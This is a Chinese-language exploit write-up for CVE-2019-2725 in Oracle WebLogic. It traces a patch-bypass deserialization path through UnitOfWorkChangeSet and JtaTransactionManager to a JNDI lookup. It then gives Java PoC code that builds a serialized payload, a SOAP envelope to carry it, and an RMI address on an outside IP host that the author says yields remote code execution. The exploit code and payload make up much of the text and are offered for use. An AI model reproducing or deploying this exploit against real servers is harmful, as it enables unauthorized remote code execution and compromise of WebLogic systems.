# CVE-2019-2725 二次反序列化jndi注入分析
前言
这个漏洞现在绕过补丁的poc,我知道有三种, 这篇文章主要分析第二个poc:
- UnitOfWorkChangeSet二次反序列化通过7u21 gadget触发rce
- UnitOfWorkChangeSet二次反序列化通过JtaTransactionManager实现jndi注入
- FileSystemXmlApplicationContext 这个类实现RCE
其中exp影响也是递增的
- 第一个Poc只能用于10.3.6版本(服务器环境必须是7u21)。
- 第二个poc能用于10.3.6,(jdk版本在1.8版本以下)。
- 第三个poc则可通杀10.3.6和12.1.3版本(jdk版本不受限制)这个poc就不放出了:)
漏洞分析
这个UnitOfWorkChangeSet类的构造函数传入byte,然后进行二次反序列化,漏洞代码位置如下
ServerAddressingHandler和AsyncResponseHandler需要将poc设置addressing.RelatesTo和addressing.Action才能绕过,到WorkAreaServerHandler来处理,漏洞触发点也是在这个Handler,跟进去看一下。
跟进handleRequest方法,传入构造好的poc,交给WorkContextXmlInputAdapter方法处理
跟进去,来到了漏洞触发点,看一下调用栈。
漏洞跟到了UnitOfWorkChangeSet这个类,传入JtaTransactionManager这个类的bytes,执行这个类的readObject方法,跟进去。
调用了initUserTransactionAndTransactionManager方法,继续跟。
userTransactionName的值是我们poc中的恶意的rmi地址
继续跟的话,在这里调用lookup方法
最终导致RCE
POC构造
给位看官看到这里可能已经不耐烦了,还不给poc吗???
command为rmi构造的RCE的命令,这里不用赘述,懂的人自然知道怎么构造。
POC如下:
public class exp
{
public static void main( String[] args ) throws Exception {
String command ="rmi://121.195.170.127:9999/aa";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
byte[] bytes = ObjectToByte(jtaTransactionManager);
objectXmlEncoder(bytes , "payload.xml");
}
private static byte[] ObjectToByte(Object obj) {
byte[] bytes = null;
try {
// object to bytearray
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(obj);
bytes = bo.toByteArray();
bo.close();
oo.close();
} catch (Exception e) {
System.out.println("translation" + e.getMessage());
e.printStackTrace();
}
return bytes;
}
public static void objectXmlEncoder(Object obj,String fileName)
throws FileNotFoundException,IOException,Exception
{
java.io.File file = new java.io.File(fileName);
if(!file.exists()){
file.createNewFile();
}
java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
xe.flush();
//写入xml
xe.writeObject(obj);
xe.close();
oop.close();
}
}
将生成的payload.xml内容拷贝到这里就ok了
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
需要拼接的部分</void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>